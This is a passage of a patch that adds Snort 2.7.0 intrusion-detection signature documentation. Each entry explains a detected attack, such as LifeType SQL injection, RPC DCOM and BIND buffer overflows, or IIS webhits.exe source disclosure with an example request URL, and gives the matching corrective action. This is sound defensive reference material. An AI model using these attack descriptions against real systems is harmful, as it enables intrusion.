+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/866.txt
+++ snort-2.7.0/doc/signatures/866.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+866
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000765.txt
+++ snort-2.7.0/doc/signatures/100000765.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000765
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "LifeType" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "date" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "date" parameter in the "index.php" script used by the "LifeType" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using LifeType
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3458.txt
+++ snort-2.7.0/doc/signatures/3458.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+3458
+
+--
+Summary:
+This event is generated when an attempt is made to exploit
+a buffer overflow associated with the Arkeia Client Backup
+server.
+
+--
+Impact:
+A successful attack may cause a buffer overflow and the
+subsequent execution of arbitrary code at the privilege
+level of the vulnerable service.
+
+--
+Detailed Information:
+A vulnerability exists in the Arkeia Client Backup server
+software for a type 84 request. This may cause a buffer
+overflow and the subsequent execution of arbitrary code
+on a vulnerable server. The vulnerability is caused by
+an overly long message length.
+
+--
+Affected Systems:
+	Arkeia version 5.3 and prior.
+
+--
+Attack Scenarios:
+An attacker craft a malicious type 84 request and send
+it to a vulnerable server.
+
+--
+Ease of Attack:
+Simple.  Exploits are publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+There can be multiple messages in one transfer. The event is generated
+on the first message only.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Metasploit:
+http://metasploit.com/research/arkeia_agent
+
+--
--- snort-2.7.0.orig/doc/signatures/3439.txt
+++ snort-2.7.0/doc/signatures/3439.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3439
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1279.txt
+++ snort-2.7.0/doc/signatures/1279.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+1279
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) snmpXdmi is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port snmpXdmi is using.  Attackers can also learn what versions of the snmpXdmi protocol are accepted by snmpXdmi.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as snmpXdmi run.  Simple Network Management Protocol (SNMP) and Desktop Management Interface (DMI) are remote management protocols.  The snmpXdmi RPC service translates between SNMP and DMI allowing, the use of either or both.  There is a buffer overflow when translating DMI to SNMP that allows access with the privilege level of snmpXdmi.
+
+--
+Affected Systems:
+Sun Solaris 2.6, 7.0, and 8.0.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where snmpXdmi runs.  This may be a precursor to accessing snmpXdmi.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access snmpXdmi, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for snmpXdmi, not probes of the snmpXdmi service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the snmpXdmi service itself. An attacker may attempt to go directly to the snmpXdmi port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0236
+
+CERT
+http://www.cert.org/advisories/CA-2001-05.html
+
+Bugtraq
+http://www.securityfocus.com/bid/2417
+
+
+--
--- snort-2.7.0.orig/doc/signatures/998.txt
+++ snort-2.7.0/doc/signatures/998.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 998
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/457.txt
+++ snort-2.7.0/doc/signatures/457.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+457
+
+--
+Summary:
+This event is generated when an ICMP type 14 is detected that does not 
+include the necessary code in the packet.
+
+
+--
+Impact:
+
+Can be used as a reconnaissance tool.  Traceroute reveals information
+about the layout of a network.
+
+--
+Detailed Information:
+There are at least three different implementations of traceroute.  In
+one implementation traceroute works by sending an ICMP Echo Request
+packet to a destination host with a TTL value of 1.  If the host is more
+than one hop away, the first route that receives the back will send back
+an ICMP packet indicating that the TTL was exceeded.  The address of
+this router is then listed as the first hop.  The packet is then sent
+out again with a TTL of 2.  This continues until the destination host is
+able to reply or some maximum TTL value is reached.
+
+The other two implementations use the same TTL-based concept with an
+ICMP type of 30(traceroute) or with an UDP packet destined for an
+ephemeral port.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+
+Traceroute is often used against machines on a network prior to an
+attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP type 30 messages.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+Miscellaneous
+http://www.faqs.org/rfcs/rfc1393.html
+
+
+
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1741.txt
+++ snort-2.7.0/doc/signatures/1741.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1741
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2691.txt
+++ snort-2.7.0/doc/signatures/2691.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2691
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure parallel_push_recovery
+. This procedure is included in
+sys.dbms_defer_internal_sys.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1959.txt
+++ snort-2.7.0/doc/signatures/1959.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1959
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) nfsd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port nfsd is using.  Attackers can also learn what versions of the nfsd protocol are accepted by nfsd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as nfsd run.  The nfsd RPC service starts the Network File System (NFS) server daemon that handles file system requests from clients. Once a client mounts an NFS file system, the nfsd daemon handles access to the mount point and associated directories.  Several vulnerabilities are associated with nfsd.
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where nfsd runs.  This may be a precursor to accessing nfsd.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access nfsd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for nfsd, not probes of the nfsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the nfsd service itself. An attacker may attempt to go directly to the nfsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1225.txt
+++ snort-2.7.0/doc/signatures/1225.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1225
+
+--
+Summary:
+This event is generated when an attempt to exploit a weakness in the authentication mechanism used to connect to an X windows server is made.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+Implementations of the X windows system from the X consortium may use weak authentication methods when allowing remote machines to connect to a host running X windows.
+
+XDM is used to allow remote users access to the remote X window server. When configured incorrectly, this may allow an unathorised user to connect to the display.
+
+--
+Attack Scenarios:
+The remote attacker may scan the host for listening X window servers, then connect to the remote host using XDM.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow connections to X servers from hosts outside the protected network.
+
+Apply the appropriate vendor patches.
+
+Upgrade to the latest version of the software.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0241
+
+CIAC:
+http://ciac.llnl.gov/ciac/bulletins/g-04.shtml
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS396
+
+--
--- snort-2.7.0.orig/doc/signatures/1830.txt
+++ snort-2.7.0/doc/signatures/1830.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1830
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2793.txt
+++ snort-2.7.0/doc/signatures/2793.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2793
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure purge_statistics
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/259.txt
+++ snort-2.7.0/doc/signatures/259.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+259
+
+--
+Summary:
+This event is generated by an attempted buffer overflow associated with incorrect validation of DNS NXT records.
+
+--
+Impact:
+Severe. The DNS server can be compromised allowing the attacker to execute arbitrary commands with the privileges of the user running BIND.
+
+--
+Detailed Information:
+Improper validation of DNS NXT records may allow at attacker to perform a buffer overflow.  This can allow the attacker to execute arbitrary code with the privileges of the user running BIND.
+
+--
+Affected Systems:
+BIND versions 8.2 up to, but not including, 8.2.2.
+
+--
+Attack Scenarios:
+An attacker can launch this exploit to gain remote access to the DNS server.
+
+--
+Ease of Attack:
+Simple.  Code exists to exploit the buffer overflow.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines content based on the exploit code written by ADM.  If the content is changed, the rule may not fire.
+
+--
+Corrective Action:
+Upgrade to a version of BIND 8.2.2 or greater, or patch vulnerable versions of BIND.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-1999-14.html
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0833
+
+Bugtraq:
+http://www.securityfocus.com/bid/788
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2423.txt
+++ snort-2.7.0/doc/signatures/2423.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2423
+
+--
+Summary:
+This event is generated when an attempt is made to download a file that
+may be an attack vector for a known exploit to a vulnerability in Real 
+Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1550.txt
+++ snort-2.7.0/doc/signatures/1550.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1550
+
+--
+Summary:
+This event is generated when an external attacker attempts to exploit a
+buffer overflow vulnerability in the ETRN command in NetWin DMail.
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, leading to remote root compromise. 
+
+--
+Detailed Information:
+Some versions of NetWin DMail SMTP server contain a buffer overflow
+vulnerability in the ETRN command. An attacker can use an overly long
+string in an ETRN argument to cause a buffer overflow condition. This
+allows the attacker to crash the mail server or execute arbitrary code
+with root access. 
+
+--
+Affected Systems:
+	NetWin DMail 2.8a-h and prior
+	NetWin DMail 2.7q and prior
+
+--
+Attack Scenarios:
+An attacker sends an ETRN command with an overly long argument to a
+NetWin DMail SMTP server. The attacker can then crash the mail server or
+execute arbitrary code with root access. 
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3235.txt
+++ snort-2.7.0/doc/signatures/3235.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3235
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3283.txt
+++ snort-2.7.0/doc/signatures/3283.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3283
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2592.txt
+++ snort-2.7.0/doc/signatures/2592.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+2592
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Mail Transfer Agent Exim.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code on a vulnerable
+server with the privilege of the process running Exim.
+
+--
+Detailed Information:
+Exim is vulnerable to a buffer overflow, permitting an attacker to execute
+arbitrary code.  The vulnerability may be exploited if Exim is configured to
+verify header syntax in the e-mail message body.  This is not the default
+configuration.  If an attacker supplies a large number of spaces after certain
+header fields, it may be possible to cause a buffer overflow.
+
+--
+Affected Systems:
+Exim prior to version 4.34
+
+--
+Attack Scenarios:
+An attacker can create and send mail with a malformed header,
+possibly causing a buffer overflow and permitting the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10291
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400
+
+Other:
+http://www.guninski.com/exim1.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1073.txt
+++ snort-2.7.0/doc/signatures/1073.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+Sid:
+1073
+
+--
+
+Summary:
+This event is generated when an attempt is made to read web application
+source code.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+The webhits.exe sample program that comes with Microsoft Index Server in IIS
+contains a vulnerability that allows the reading of web application source
+code.
+
+Sometimes web application source code contains highly sensitive information,
+such as database passwords and information concerning backend setups.  This
+could be a prelude to further attacks.
+
+--
+Affected Systems:
+	Microsoft Index Server when deployed in conjunction with Microsoft IIS.
+
+--
+Attack Scenarios:
+Attacker sends a simple URL like the following and then chooses which
+file they want to view:
+http://servername/scripts/samples/search/webhits.exe
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known
+
+--
